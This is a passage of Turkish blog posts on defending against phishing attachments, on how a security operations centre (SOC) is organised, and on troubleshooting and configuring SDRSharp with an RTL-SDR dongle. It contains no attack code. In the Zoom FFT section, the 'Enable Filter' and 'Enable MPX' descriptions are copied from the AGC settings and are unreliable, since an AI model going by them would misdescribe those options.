  • Mailde yalnızca giriş paneli veya linkler yer almayabilir. Zaman zaman bu saldırılarda dosya eki de kullanılabilir. Zararlı yazılım bulunan bu dosyalar, ilgi çekici bir şekilde gönderilerek karşı tarafa gönderilir. Karşı taraf bu dosyayı açtığında, cihazı saldırgan tarafından ele geçirilir. Daha sonrasında saldırgan, ağdaki diğer cihazlara bulaşabilir, pivoting yaparak diğer ağlara atlayabilir, ransomware saldırısı ile fidye isteyebilir veya aylarca sessiz kalarak kuruluşta olan biten tüm hareketleri izleyebilir, veri çekebilir.
  • Kurum içerisinden bir personel hesabını ele geçiren saldırgan, o kişinin mailinden de phishing saldırısı gerçekleştirebilir. Yani kurum içerisinden veya tanıdığınız birisinden gelen bir mail kesinlikle güvenilirdir diyemeyiz.

Önlemler

Antivirüs ve firewall

Antivirüs veya firewall kullanmanız phishing saldırılarını belli oranda azaltacaktır. Bu tip yazılımlar, veri tabanlarında yer alan domainleri otomatik olarak engelleyecektir. Aynı zamanda belli mail adreslerinden gelen mailleri de personellere ulaşmadan engellemek mümkün.

Güvenlik politikaları

Kurumların belirlediği güvenlik politikaları da oldukça önemli. Bu politikalar, bir saldırı yaşanmadan belirlenmeli ve kurumdaki herkesin anlayıp uygulayabileceği düzeyde olmalıdır.

Eğitimler

Personellerin bilgi güvenliği noktasında eğitim alması da bu saldırılardan korunmaları için gerekli. Personeller, mailleri açmadan önce gönderenin mail adresi, mail eklerinde yer alan dosya ekleri ve içerikteki linklerin kontrol edilmesine yönelik uyarılmalıdır. Herhangi bir phishing saldırısına rastlaması halinde kurumda bilgi güvenliğinden sorumlu ekibe iletmesi gerektiği belirtilmelidir. Personeller, bu durumlar için daima tetikle olmalı ve şüpheci yaklaşmalıdır.

Loglama ve Beyaz Liste

Kurum içerisinde loglama sistemi doğru biçimde kullanılmalıdır. Aynı zamanda phishing domainleri sürekli olarak tespit edilmeli ve bu domainlerden gelen mailler sürekli olarak engellenmeli, ağdan bu domainlere çıkışlar engellenmelidir. Zararlı yazılım bulaşabilecek birçok dosya formatı bulunmaktadır. Gmail’in engellediği bazı dosya uzantıları şunlardır: .ade, .adp, .bat, .chm, .cmd, .com, .cpl, .dll, .dmg, .exe, .hta, .ins, .isp, .jar, .js, .jse, .lib, .lnk,.mde, .msc, .msi, .msp, .mst, .nsh .pif, .scr, .sct,.shb, .sys, .vb, .vbe, .vbs, .vxd, .wsc, .wsf, .wsh

Bunların yanı sıra pdf ve office dosyalarından da zararlı yazılım bulaşması mümkün. Bu dosyalar için de önlemler alınması gerekir. Eğer ihtiyaç yoksa dosya ekleri tamamen engellenebilir.

Kategoriler
Siber Güvenlik

SOC Nedir, Nasıl Çalışır?

Güvenlik operasyonları merkezi, İngilizce Security Operations Center (SOC) bir kuruluşun güvenliğinin takibi, analizi ve güvenliğin sağlanması için oluşturulan yapıya denir. Temelde amaç kuruma yapılan saldırıların loglanması ve analiz edilmesi olmakla beraber, kurumun bulunduğu sektörü hedef alan veya global alanda yeni çıkan önemli saldırı vektörlerini de takip eder ve bu saldırılardan zarar görmemek için önlemler alır. Yani SOC ekibi yalnızca kendi kurumunu değil, sektördeki diğer kurumları, globali ve ülkesini hedef alan saldırıları da sürekli olarak takip ederse başarılı olur.

  • İzleme
  • Tespit
  • Analiz
  • Müdahale
  • Raporlama

Ayrıca bazı ekiplere verilen ünvanlar:

  • CSIRT: Bilgisayar Güvenliği Olay Müdahale Ekibi
  • CIRT: Bilgisayar Olayları Müdahale Ekibi
  • CIRC: Bilgisayar Olayları Müdahale Merkezi
  • CSIRC: Bilgisayar Güvenliği Olay Müdahale Merkezi
  • CSOC: Siber Güvenlik Operasyonları Merkezi(SOC, yalnızca siberi değil tüm güvenlik tehditlerini ele alır.)
  • CERT: Bilgisayar Acil Durum Cevap Ekibi

SOC ekiplerinin, saldırı anı ve genel süreci şekillendirmek için önceden belirlediği politikalar (Security Operations Policy – SOP) ve tasarladığı mimariler vardır. Böylece kritik bir saldırı ele alınırken dahi her şey planlı gerçekleşir. Bir SOC ekibi üç katmana ayrılır. Zaman zaman katman 4 eklenebilir.

Katman 1: Uyarı Analisti (Alert Analyst)

Takip ettiği loglarda izinsiz bir giriş veya müdahale görmesi halinde ilk aşamayı başlatır ve bir güvenlik tehdidi olduğunu katman 2’ye iletir. Bu sırada katman 2’nin kullanabileceği verileri toplamaya başlar. Bu katmanda daha çok monitoring ekibi yer alır. IDS/IPS’ler, SIEM sistemleri bu analistlere yardımcı olur. False positive durumlarını önlemeye çalışır.

Temel düzeyde bilgi güvenliği, network, log yönetimi ve SIEM konusunda bilgi sahibi olunması gerekir.

False positive: Bire bir çevirisi hatalı pozitif diyebiliriz. Loglarda saldırı olarak görünen ancak normalde saldırı olmayan durumlara denir.

Monitoring: Genel anlamda sistemde yapılan tüm hareketlerin belirli bir kurala göre kaydedilip/loglanıp takip etmemizi sağlayan sistemler.

IDS: Intrusion Detection Systems, kuruma yapılan saldırıların tespit edilmesi için oluşturulan sistemler.

IPS: Intrusion Prevention System, IDS’ten farklı olarak tespit ettiği saldırı girişimini önler. İki sistem de genelde log tabanlı çalışır.

SIEM: Monitoringten farklı olarak belirlenen politikalara göre yazılan kurallarla, logları filtreleyerek olası saldırıları tespit eden sistemler. (Security Informatin and Event Management)

Katman 2: Tehdit Yanıtlayıcı (Incident Responder)

Katman 1’den gelen bildirimleri, gelen temel verilerle beraber ele alarak saldırıdan hangi sistemlerin etkilendiğini, kimin, neden ve nasıl yaptığını derinlemesine araştırarak iyileştirme çalışmalarına danışmanlık yapan kişi veya sistemler burada yer alır.

İyi düzeyde adli bilişim, tehdit istihbaratı, log incelemeleri ve temel zararlı yazılım değerlendirmelerini yapan kaynaklar burada yer alır.

Katman 3: Tehdit Avcısı

Katman 2’de yeterince veri elde edilemeyen durumlarda ve katman 2’nin gerekli önlemi alamaması halinde bu katman devreye girer. Tersine mühendislik ve zararlı yazılım analizi, tehdit istihbaratı, adli bilişim ve network konusunda iyi seviyede bilgi sahibi kişiler burada yer alır. Aynı zamanda belirli uygulamaların alt yapısında da bilgi sahibidirler. Tehditleri derinlemesine analiz ederler.

SOC Yöneticisi

Tüm bu sistem ve personelin yönetiminden, stratejik planlar ve güvenlik operasyonları politikasından sorumlu olan yöneticidir.

SOC’un zorlandığı ve olayları cevaplamakta geciktiği bazı durumlar olabilir. Bunlara sebep olan meseleler ise:

  • SOC, masum hareketleri/kullanıcıları engellemediğinden emin olmak ister. False positive durumundan bahsetmiştik.
  • Bazen saldırıya müdahale etmek, saldırının kendisinden daha fazla zarara sebep olabilir. Bazı durumlarda kurumun itibarını daha olumsuz etkileyebilir veya müdahale etmek, daha büyük maddi giderler gerektirebilir.
  • Saldırganın ne yapmak istediğini, kim olduğunu ve kapsamını anlamak için saldırı evresinin bir noktaya kadar devam etmesine izin verilebilir. Haliyle riskli bir seçenektir.

Loglama Zamanı!

Toplanan loglarda olmazsa olmaz veri zaman damgasıdır. Kaldı ki hukuken de zaman verisi bulunmayan logların geçerliliği olmuyor. Diğer yandan saldırgan IP adresi, saldırıya uğrayan makinenin ve ana makinenin adı ve IP adresi log kayıtlarında yer almalıdır. Aynı zamanda saldırının analizi için gönderilen paketin veya isteğin de takip edilmesi gerekir. Logları toplayabileceğimiz önemli kaynaklar:

  • Network paketleri
  • Apache, IIS gibi web sunucuları
  • Web sitelerine yapılan istekler
  • FTP, SSH ve RDP gibi servislere gelen talepler
  • Kurumdaki bilgisayarlar ve ağa bağlı diğer cihazlar
  • İşletim sistemleri
  • Veri tabanları
  • Mail sunucuları

SOC Türleri

Güvenlik Ekibi

Tehdit durumlarını tespit etme ve karşılama politikaları yoktur. Bir saldırı sonrasında soruna çözüm bulur, sistemi yeniden kurar ve sornasında saldırıyı analiz eder. Genelde bir monitoring ve saldırıları ele alma politikaları/süreçleri bulunmaz.

Sanal SOC

Daimi bir SOC ekibi bulunur fakat temel amacı SOC olmayan kişilerden oluşur. Genellikle BT ve güvenlik alanında çalışan personellerden oluşur. Personeller rutin işlerinin yanında aynı zamanda SOC işlemlerini gerçekleştirir. Bir kişi veya küçük bir grup, güvenlik operasyonlarını koordine eder.

Merkezi SOC / Adanmış SOC

Yalnızca bu amaç için çalışan personelleri, bu amaç için ayrılan bütçesi, tesisi ve kaynakları bulunur.

Dağıtık SOC

SOC faaliyetlerini kurumun bu amaç için bulundurduğu personellerin yanı sıra bu alanda uzman, anlaşma yapılan başka firmalar da uzaktan yürütür.

Sanal ve Merkezi SOC

Temelde SOC için ana bir ekip bulunmakla beraber kurumun belirli departmanlarında esas işi SOC olmayan BT ve güvenlik elemanlarını da bünyesinde bulundurur. Ana SOC ekibi ve departmanlardaki elemanlar arasında senkron bir çalışma söz konusudur. Hiyerarşik bir yapı gibi düşünebilirsiniz.

SOC Olgunluk Modeli

Her kurum aynı güvenlik önlemlerine ihtiyaç duymaz. Kurumun büyüklüğü veya yaptığı işin kritikliğine göre farklı güvenlik önlemleri gerekir. Bütçeleri, personelleri, bilginin kritikliği, ağdaki cihazlarının sayısı, envanter durumu, fiziksel alanın genişliği gibi kriterler farklı farklı önlemler gerektirir. Bu durumda eksikliklerin tespit edilmesi ve düzeltilmesi için SOC olgunluk modeli kullanılır.

1.Seviye: Başlangıç

Halihazırda bir SOC ekibi bulunur fakat gerek teknoloji gerek personel sayısı ve teknik beceri yeterliliği noktasında yetersizdir. Güvenlik ürünleri eskidir ve önlemler yetersizdir. Bir tehdit anında belirli bir politikaları yoktur. Durum vahim anlayacağınız.

2.Seviye: Yönetilen

Temel güvenlik ürünlerini temin etmişlerdir ancak yeterli seviyede kullanamıyorlardır. SOC için mevcut personelleri bulunur fakat yaptıkları tek iş güvenlik değildir. Aynı zamanda BT işlerini gerçekleştirir. Yazılı olmayan politikaları bulunur ve bunlar kısmen uygulanır.

3.Seviye: Tanımlı

Söz konusu güvenlik araçları temin edilmiş ve doğru şekilde kullanılıyordur. Önceden belirlenen yazılı politikaları tehdit anında doğru şekilde uygulanıyordur. Personellerin görevleri önceden belirlenmiştir. Güvenlik elemanları aynı zamanda BT elemanı olabilir fakat güvenlik alanında eğitimli ve yetkindir.

4.Seviye: Ölçülebilen

Gerekli güvenlik araçları temin edilmiştir, bakımı düzenli olarak yapılır ve ürünler arasındaki entegre sağlanır. Tüm süreç politikası oluşturulmuş ve düzgün biçimde uygulanır. Kontrol listesi ve iş akışı planlanmıştır. Perosneller BT elemanlarından ayrı olarak bu iş için ayrılmıştır, herkesin rolü detaylı olarak planlanmıştır ve aksilik olması durumunda yedek kişi bellidir.

5.Seviye: İyileştirici

Tüm güvenlik ürünleri temin edilmiş ve entegre şekilde çalışır. Etkin biçimde çalışıp çalışmadığı süreki değerlendirilir. Teknolojiler ve süreç arasında entegrasyon sağlanır. Oluşturulan süreç politikaları ve personeller de sürekli olarak değerlendirilir. Personeller kendi içerisinde iyi organize şekilde çalışır ve aksi durumlarda sürekli yedekleri bulunur.

Kategoriler
Siber Güvenlik

SIGINT Serisi 2: SDRSharp Ayarları ve Hata Çözümleri

Bu yazı serisini “The Hobbyist’s Guide to the RTL” kitabını referans alarak, SIGINT konusunda benim gibi meraklı Eren Altun ile beraber hazırladık. Bire bir çeviri olan kısımlar olmakla beraber; bizim de eklediğimiz başlıklar, daha açık izah etmek istediğimiz veya daha kısa anlatabileceğimizi düşündüğümüz yerler oldu. Her şeyden önce yazarken, araştırırken, çevirirken çok şey öğrendik. Umarım okuyanlara da faydası olur.

OLASI SORUNLAR VE ÇÖZÜMLERİ

Öncelikle kurulumda yaşayabileceğiniz olası hataları ve çözümlerini yazalım. Hataların çoğunu İngilizce bıraktım çünkü ekrana çıkan hatalar da onlara benzer şekilde oluyor.

[vurgu color=”#dd3333″]I GET THE ERROR “NO COMPATIBLE DEVICES FOUND” WHEN TRYING TO START THE DONGLE IN SDR#[/vurgu]

Düşük kalitedeki USB ara kabloları ve USB çoklayıcıları bu hataya neden olabilir. Aynı zamanda bazı USB 3.0 bağlantı noktaları da bu dongle ile uyumlu değildir. Dongle’ın arızalı olması da düşük bir ihtimal olmakla beraber mümkün. Bu durumda farklı cihazlarda test edip iade edebilir veya farklı bir ürün kullanabilirsiniz.

[vurgu color=”#dd3333″]ZADIG TAKES A LONG TIME TO INSTALL THE DRIVER, THEN FAILS[/vurgu]

Zadig’i yönetici modunda çalıştırmamanızdan dolayı bu hatayı alıyor olabilirsiniz. Sağ tıklayın ve yönetici olarak çalıştırın.

[vurgu color=”#dd3333″]I DON’T SEE BULK-IN, INTERFACE (INTERFACE 0)[/vurgu]

Seçenekler menüsünde tüm cihazları listele seçeneğinin işaretli olup olmadığını kontrol edin. DVB-T sürücülerini kurmamış olmanız da olası. Eğer sürücüleri de kurduysanız cihazınız ile ilgili bir sorun olabilir. Nadiren yaşanmakla beraber Zadig’de görünmeyecek hataya sahip bir donanım almış olabilirsiniz.

[vurgu color=”#dd3333″]I DON’T SEE RTL-SDR/USB IN SDRSHARP[/vurgu]

RTL-SDR desteği olmayan bir SDRSharp sürümü indirmiş olabilirsiniz. Resmi web sitesine gidip en güncel halini indirin.

[vurgu color=”#dd3333″]USB 3.0 PORTS DON’T WORK[/vurgu]

USB 3.0 ve RTL-SDR genellikle uyumludur ve iyi performans verir. Ancak bazı durumlarda bu USB girişleri, RTL-SDR’yi tanımaz. Bu durumda USB 2.0 kullanmayı deneyin.

[vurgu color=”#dd3333″]WHEN I RUN INSTALL.BAT A CMD/DOS WINDOW FLASHES ON THE SCREEN BRIEFLY THEN DISAPEARS. NOTHING IS DOWNLOADED OR INSTALLED.[/vurgu]

Bat dosyalarının yürütülmesine izin verilmiyor gibi görünüyor. Bazı antivirüsler ve bazı windows sürümleri buna izin vermeyebilir. Çözümü ise SDR# ve RTL-SDR sürücülerini manuel kurmak.

[vurgu color=”#dd3333″]ZADIG GIVES “SYSTEM POLICY HAS BEEN MODIFIED TO REJECT UNSIGNED DRIVERS“ ERROR IN WINDOWS 8[/vurgu]

Windows 8 sistemlerde imzasız sürücülerle ilgili sorun yaşanabiliyor. Bunun için de http://zadig.akeo.ie/ adresindeki yeni Zadig 2.1+ sürücülerini indirin. SDRSharp içerisindeki install.bat dosyası daima en güncel Zadig versiyonunu indirir.

[vurgu color=”#dd3333″]SDR# GIVES ERROR “APPLICATION FAILED TO INITIALIZE PROPERLY (0XC0000135). CLICK OK TO TERMINATE.”[/vurgu]

SDR# çalışmak için Microsoft .NET 3.5 Framework’e ihtiyaç duyar. Bilgisayarınızda yüklü olmadığı için bu hatayı almış olabilirsiniz. İndirmek için: http://www.microsoft.com/en-gb/download/details.aspx?id=21

[vurgu color=”#dd3333″]SDR# GIVES ERROR “CANNOT ACCESS RTL DEVICE”[/vurgu]

RTL-SDR’nin kapsamı dışındaki bir frekansı dinlemeye almış olabilirsiniz. Bu durumda radyo frekansı gibi RTL-SDR skalasındaki frekanslara yönelmeniz hatayı çözecektir.

[vurgu color=”#dd3333″]I GET THE ERROR “1 COMPATIBLE DEVICES HAVE BEEN FOUND BUT ARE ALL BUSY”[/vurgu]

Bazı bilgisayarların 3.0 girişinde bug olabiliyor. Bu durumda USB 2.0 girişi kullanmanız sorunu çözebilir. Bilgisayarı askıya almanız durumunda da bu hatayla karşılaşmış olabilirsiniz. Dongle’ı çıkartıp tekrar takmanız sorunu çözecektir. Tüm bunlar çözüm olmadıysa Zadig sürücülerini yeniden yüklemeyi deneyebilirsiniz.

[vurgu color=”#dd3333″]Belirtilen sistem dosyaları bulunamıyor veya SDRSHARP dosyası indirilemez.[/vurgu]

İndirdiğiniz kurulum dosyalarını rar içerisinden çıkartıp tek klasörde toplamayı deneyin. Daha sonra tekrar kurulum yapmayı deneyin.

[vurgu color=”#dd3333″]Dongle’ın USB portuna olan bağlantısı sürekli kopuyor.[/vurgu]

Kullandığınız USB uzatma kablo varsa onun yerine dongle’ınızı direkt olarak USB girişine takın. Yine sorun çözülmemiş ise dongle arızalı olabilir.

[vurgu color=”#dd3333″]THE DONGLE WON’T CONNECT TO THE PC AND ON MODELS WITH AN LED THE LED DOES NOT ILLUMINATE[/vurgu]

Donanım arızalı ve değiştirilmesi gerekiyor.

[vurgu color=”#dd3333″]ZADIG çalışmıyor[/vurgu]

Bazı kullanıcılarda Zadig açılırken hata veriyor. Bu durumda alternatif bir sürücü kullanabilirsiniz.

http://visualgdb.com/UsbDriverTool/ adresinde sürücü bulunabilir. WinUSB sürücülerini kurmak için ise “LibUSB” aracını kullanabilirsiniz.

[vurgu color=”#dd3333″]Spectrum ekranları yavaş ve sesler tutarsız.[/vurgu]

Bilgisayarınızın donanım özellikleri SDR#’ı çalıştıracak kadar iyi olmayabilir. Bu durumda CPU yükünü azaltın, FFT ekran çözünürlüğünü azaltın. SDR# girişindeki şelale monitörünü devre dışı bırakın ve filtrelemeyi azaltın.

[vurgu color=”#dd3333″]AUDIO SOUNDS CHOPPY OR DOESN’T WORK OVER WINDOWS RDP[/vurgu]

SDR #’ın ses çıkışı ayarlarından MME yerine directsound’u seçin.

SDR Sharp Kullanma Kılavuzu

SDR# RTL-SDR ile kullanılan en popüler SDR programıdır.

Başlarken yapacaklarımızı listeleyelim. Öncelikle yapacağımız şey, sürücü koltuğunu rahat edeceğimiz şekilde ayarlamak gibi bir şey esasında. Ekrandaki değerleri doğru analiz edebileceğimiz hale getiriyoruz. Maddelere değer verdiğim zamanlar oldu ancak bu yine sizin kişisel tercihlerinize kalmış.

  1. Sol üstteki ayarlar menüsünden “RF Gain” değerini sıfırdan yüksek bir değere getirin.
  2. Sağda yer alan Range değerini ise -70’e indirin.
  3. Daha net bir görüntü için “FFT Display” değerini, detayları ayırt edinceye kadar yükseltin.
  4. Eğer bir R820T/R820T2 kullanıyorsanız, sinyallerde yer alan sivri uçların üzerindeki ayırt edici yuvarlakları, Radio altında yer alan “Correct IQ” seçeneğinden kapatıp açabilirsiniz.
  5. Sol menüde Radio altında yer alan “Snap to Grid” ayarını kapatın veya değeri uygun şekilde ayarlayın.

Ana Ayarlar ve Pencereler

SDRSharp’ta yazılımla ilgili ayarlar ve donanımla ilgili ayarlar ayrı ayrı yerlerde bulunur. Donanıma dair tüm ayarlara sol üstte yer alan ayar menüsünden erişebilirsiniz. Buradan “RF Gain”, bant genişliği gibi ayarları yapmanız mümkün. Sinyal alımını optimize etmek için bu ayarları yapmanız gerekir.

Play/Stop Butonları

Bu butonlar SDRSharp’ın sinyal toplamasını başlatıp durdurursunuz.

Source

Buradan, bağlı olan SDR cihazlarından birini seçebilirsiniz. Biz RTL-SDR üzerinden gittiğimiz için RTL-SDR / USB seçeneğini tercih edeceğiz. Eğer uzak bir sunucuya bağlanacaksanız RTL-SDR / TCP’yi tercih edebilirsiniz. Başkalarının aktif kullandığı ve internete açtığı cihazlara veya kendi cihazlarınıza uzaktan erişmenizi sağlar bu seçenek. Seçtikten sonra ayarlar kısmından IP ve port belirtmeniz gerekir. Şimdilik bununla işimiz yok.

Ayar Menüsü / RTL-SDR Controller

Girişte de anlattığımız gibi donanıma dair optimizasyon ve diğer ayarları yaptığımız ekran.

Frekans Girişi

Dinlemek istediğiniz frekansı buradan ayarlayacaksınız. Değeri arttırmak veya azaltmak için sayıların üstüne veya altına tıklayabilirsiniz. Aynı zamanda fare tekerleğini kullanabilirsiniz veya değeri klavyeden kendiniz girebilirsiniz. Frekans girişleri üç değerli dört bölüme ayrılmıştır. (örneğin, 000.000.000.000) İlk bölüm GHz, ikinci kısım MHz, üçüncü kısım kHz ve son kısım Hz değerini belirtir. Örneğin 88.6 MHz değerini girmek için 000.088.600.000 değerini gireriz.

Volume

Ses çıkış hoparlörlerimizin veya ses borusu cihazınızın ses seviyesini buradan ayarlıyoruz.

RF Spectrum / FFT Display

Bu kısım sinyalleri grafik olarak yansıtan şelalenin ayarlarıdır. Bu kısımda radyo frekansları spektrumunu görsel olarak gerçek zamanlı bir grafik olarak gösterir. Bu grafikte aktif sinyaller tepe olarak görünecektir.

Radyo Frekansları Waterfall (Şelale)

Pencerenin bu bölümü, tıpkı bir şelale gibi, üstte yeni veriler ve altta eski veriler olmak üzere, zaman içinde yayılan RF spektrum grafiğini göstermektedir.

Tuning Bar

Radyo Frekansları spektrum grafiğindeki dikey kırmızı çizgi, radyo frekans spektrumunda RTL-SDR’nin o anda ayarlandığı yeri gösterir. Aktif olarak anlık bant genişliğinin bir parçası içinde grafiği bize yansıtır.

Radyo frekansları spektrumunda başka bir yere tıklanarak kırmızı çizgi sürüklenebilir. Bu kısımla hiç oynamasak daha iyi, şimdilik teorik olarak bilmemiz yeterli. Kırmızı çizginin etrafındaki gölgeli dikdörtgen alan, ayarlanan alanın bant genişliğini gösterir. Bunu, yapılandırma menüsünde ayarlanan bant genişliği/örnekleme hızı ile karıştırmayın. Bant genişliği, ayarlanan sinyalin alanını kapsayacak şekilde ayarlanmalıdır. Gölgeli alanın kenarlarını içeri veya dışarı fareyle sürükleyerek bant genişliğini kolayca ayarlayabilirsiniz. 

Radyo Sekmesi

Burada, şu anda ayarlanmış frekansınızdaki sinyalin, ne tür bir demodülasyon modunu kullanması gerektiğini seçebilirsiniz.

NFM (Dar Bant Frekans Modülasyonu): Telsizleri, meteoroloji radyosu ve çoğu VHF / UHF dijital sinyaller dahil olmak üzere yaygın olarak kullanılan mod. 

WFM (Geniş Bant Frekans Modülasyonu): FM istasyonlarını kullanan moddur (örneğin, radyo müzik istasyonları).

AM (Genlik Modülasyonu): Normal kısa dalga radyoları tarafından algılanabilen ve aynı zamanda uçak ve hava trafik kontrolünde kullanılan hava bandı ses frekanslarının kullandığı yayın, AM istasyonları tarafından kullanılır. Ayrıca bazı dijital sinyaller AM kullanır.

LSB/USB (Alt Yan Bant / Üst Yan Bant): HF bandında ham radyo kullanıcıları tarafından ses ve veriyi küçük bant genişlikleri ile verimli bir şekilde iletmek için kullanılır.

CW (Continuous Wave): Mors kodunu dinlemek için kullanılır.

DSB (Çift Taraflı Bant): AM’ye benzer, ancak merkezlenmiş ayar gerektirir.

RAW (Ham IQ sinyali): RAW IQ verilerini dinlemek veya kaydetmek için kullanılır. Yapılandırma menüsünde RF hızını sıfırdan daha yüksek bir değere yükseltin. Penceresinin sağındaki aralık kaydırıcısını yaklaşık -70’e indirin.

Önerilen Varsayılan Ayarlar

Shift: Bu sekme ayarlanan frekansı girilen miktar kadar dengeler. Bir dönüştürücü kullanıyorsanız kullanışlıdır. Örneğin, 100 MHz’lik bir osilatöre sahip bir sürücünüz varsa, vardiyayı -100.000.000 olarak ayarlayın (eksi işaretini unutmayın). Vardiya olmadan, 9 MHz’de bir sinyale ayarlamak için bir çevirici kullanırken, aslında 100 + 9 = 109 MHz ayar yapmanız gerekir. Vardiya seti ile normal olarak 9 MHz’e ayarlayabilirsiniz. 125 MHz osilatörlü bir konvertörünüz varsa, 125 + 9 = 134 MHz ayarını yapabilir veya vardiyayı -125,000,000 olarak ayarlayabilirsiniz.

Bandwidth: (NFM/AM12500, WFM: 250000) Bu, ayarlanabilir alanın gölgeli kısmının genişliğidir. Manuel olarak burada ayarlayabilir veya ayar çubuğunun tanımı altında açıklandığı şekilde, kenarları fareyle sürükleyerek ayarlayabilirsiniz.

Filter: (Blackman-Harris 4) RF alanındaki sinyallerde, hangi tür sinyallerin vurgulanacağını belirlemek için kullanılır. Önerilen ayar, genellikle en uygun filtredir ve neredeyse hiç değiştirilmesi gerekmez.

Order: (500) Düşük order değerlerinde, takip ettiğiniz bant genişliğinin dışındaki sinyalleri hala duyabilirsiniz. Bu durumda, order değerini yükselterek, bant geçişlerini sıkıştırıp keskinleştirebilirsiniz. Bu sayede söz konusu bant genişliği dışındaki sinyallerin duyulmasının önüne geçebilirsiniz. Seçilen alanda sinyaller güçlendikçe bu değeri daha da yükseltebilirsiniz. Ancak bu değerin yükselmesi CPU üzerinde daha fazla yüke neden olabilir ve bilgisayarın yavaşlamasına sebep olabilir.

Squelch: (OFF) Sinyal gücü, belirtilen değerin altına düştüğünde sesi kapatmak için kullanılır. Örneğin bir telsiz dinliyorsunuz. O frekansta konuşma olmadığında büyük oranda cızırtı duyacaksınız. Birisi konuşmaya başladığında net bir sinyal oluşacak ve konuşma duyulacak, cızırtı kesilecek. Konuşma olmadığı esnalarda cızırtıyı kesmek için bu değerle oynamanız gerekiyor.

CW SHIFT: (600) CW yani mors kodu alırken gönderme ve alma frekansları arasındaki farkı belirtmek için kullanılır.

FM Stereo: (OFF) Broadcast radyo WFM sinyalleri için stereo çıkış sağlayacaktır.

Snap To Grid / Step Size: (OFF)

Correct IQ: (ON)

Lock Carrier: (OFF) Sadece AM veya DSB modunda aktif edilebilir. Alımı önemli ölçüde iyileştiren ve ayrıca sinyali otomatik olarak ortalayan senkronize AM alımı için izin verir. Merkezleme ana RF spektrumunda gösterilmez, ancak etkisi Zoom FFT IF Spektrum penceresinde görülebilir. Daha iyi AM alımı için bunu açın, ancak CPU kullanımını artırabilir.

Anti-Fading: (OFF) “Lock carrier” etkin olduğunda kullanılabilir. Zayıf sinyallerde AM sinyallerinin simetrisinden faydalanır. Daha iyi bir AM sinyal alımı için bu değeri ON yapın, ancak CPU kullanımı artacaktır.

Swap I&Q: (OFF) Bir panadapter olarak SDR # kullanıyorsanız, bazı donanım telsizlerinde I & Q sinyalleri değiştirilmiş olabilir ve bu seçeneğin işaretlenmesi gerekebilir.

Mark Peak: (OFF) RF spektrumundaki tepe noktalarını daire ile işaretler. (Varsayılan ve önerilen OFF olsa da ben ON yapıyorum.)

AUDIO TAB

Sample Rate: (48000) Bu değer, ses kartınızın saniyedeki sample sayısını ayarlar. Play butonuna basmadan önce ayarlanır.

Input: (ANYTHING) Çoğunlukla yazılım tanımlı telsizlerle kullanılır, sıradan bir RTL-SDR kullanımında bu seçenekle ilgilenmenize gerek yoktur.

Output: (Ses kartınızı seçin) Ses çıkış cihazınızı ayarlar. Varsayılan olarak hoparlör ayarlanır. Ancak sinyal çıktısı bir kod çözücü aracılığı ile alınmak isteniyorsa “VAC / VB Cable” seçilmelidir.

Unity Gain: (OFF) “Audio Gain” genelde 0dB’ye ayarlandığı için bu seçenek normalde OFF konumunda bırakılmalıdır.

Filter Audio: (OFF) Düşük sesleri filtreleyip, yüksek tiz sesleri ve parazitleri ortadan kaldırır ve ses sinyallerini iyileştirir. Dijital sinyallerle uğraşılırken bu seçenek kapatılmalıdır.

AGC (AUTOMATIC GAIN CONTROL) TAB

Not: Bazı durumlarda AGC sekmesi pasif durumdadır.

Use AGC: (ON) Sesler arasında denge sağlar. Yani çok düşük seslerin, biraz daha güçlü duyulmasını, çok yüksek seslerin daha düşük duyulmasını sağlayacaktır. Ses sinyalleri için kullanılır. AM / USB / LSB sinyallerini dinlerken bu özelliği açmak oldukça kullanışlıdır.

USE HANG / THRESHOLD / DECAY / SLOPE: (-50,100,0) Varsayılan AGC davranışlarını kişiselleştirmenizi sağlar. Ancak genellikle varsayılan ayarlar iş görür.

FFT DISPLAY

View: (both) RF spektrumu ve şelale görünümünü açıp kapatmanızı sağlar. İkisini de görebilirsiniz veya hiçbirini görmeyebilirsiniz. Şelale görünümünün kapatılması yavaş işlemciler bulunduran cihazlarda performans açısından daha faydalı olacaktır.

Window: (Blackman-Harris 4) FFT’de kullanılan filtreleme algoritmasının türünü belirtir. Varsayılan seçenek genelde en iyisidir.

Resolution: (32768) Çözünürlüğü ayarlar. Şelale ve RF ekranındaki çıktıların kalitesini ayarlar. Yüksek çözünürlük, bir sinyalin yapısını daha net görmenizi ve tepe noktalarını daha iyi ayırt etmenizi sağlar. Çözünürlük arttıkça cihazınızın daha fazla enerji sarf edeceğini söylemeye gerek yok sanıyorum.

Time Markers: (OFF) Şelale görünümüne zaman ayraçları ekler. Bu sayede belli sinyallerin hangi saatlerde ekranınıza düştüğünü görebilirsiniz.

Gradient: Şelale ekranındaki renkleri özelleştirmenizi sağlar.

Mark Peaks: (OFF) RF spektrumunda alınan sinyallerin tepe noktasını yuvarlak içine alıp daha net görmenizi sağlar. Her ne kadar varsayılan ve önerilen OFF seçeneği olsa da ben ON şeklinde kullanıyorum.

S-Attack / S-Decay: RF spektrumundaki düzeltme ve ortalama miktarını değiştirir.

W-Attack / W-Decay: Şelale ekranındaki yumuşatma ve ortalama miktarını değiştirir.

Speed: RF spektrumundaki ve şelaledeki sinyallerin güncelleme hızını değiştirir.

ZOOM FFT

Zoom FFT, SDRSharp ile beraber gelen varsayılan bir eklentidir. RF spektrumunda yakınlaştırılmış bir görüntü oluşturur.

Enable IF: Sinyal yapısını daha büyük boyutta görmenizi sağlar.

Enable Filter: (-50,100,0) Varsayılan AGC davranışlarını kişiselleştirmenizi sağlar. Ancak genellikle varsayılan ayarlar iş görür.

Enable MPX: (ON) Sesler arasında denge sağlar. Yani çok düşük seslerin, biraz daha güçlü duyulmasını, çok yüksek seslerin daha düşük duyulmasını sağlayacaktır. Ses sinyalleri için kullanılır. AM / USB / LSB sinyallerini dinlerken bu özelliği açmak oldukça kullanışlıdır.

Enable Audio: Ses (baseband) spektrumunu görmenizi sağlar.

DIGITAL NOISE REDUCTION (DNR)

Analog ses sinyallerini dinlerken,DNR’ı (dijital gürültü azaltma) açmak faydalıdır. Bu ayar arkaplan sesini azaltmaya çalışır. İlk seçenek gelen sinyaldeki gürültüyü azaltmak için bir algoritma kullanır. Audio seçeneği ise bunu çıkış sinyalinde uygular. İlk önce “IF” seçeneği ile denemeler yapmak yeterli olacaktır ancak ikisini de denemek en iyi sonucu verir.

NOISE BLANKER

Motor, elektrik hatları gibi kaynaklardan gelen gürültü seslerini azaltan algoritma. Zayıf bir sinyalden gelen sesi dinlerken yardımcı olacaktır.

RECORDING TAB

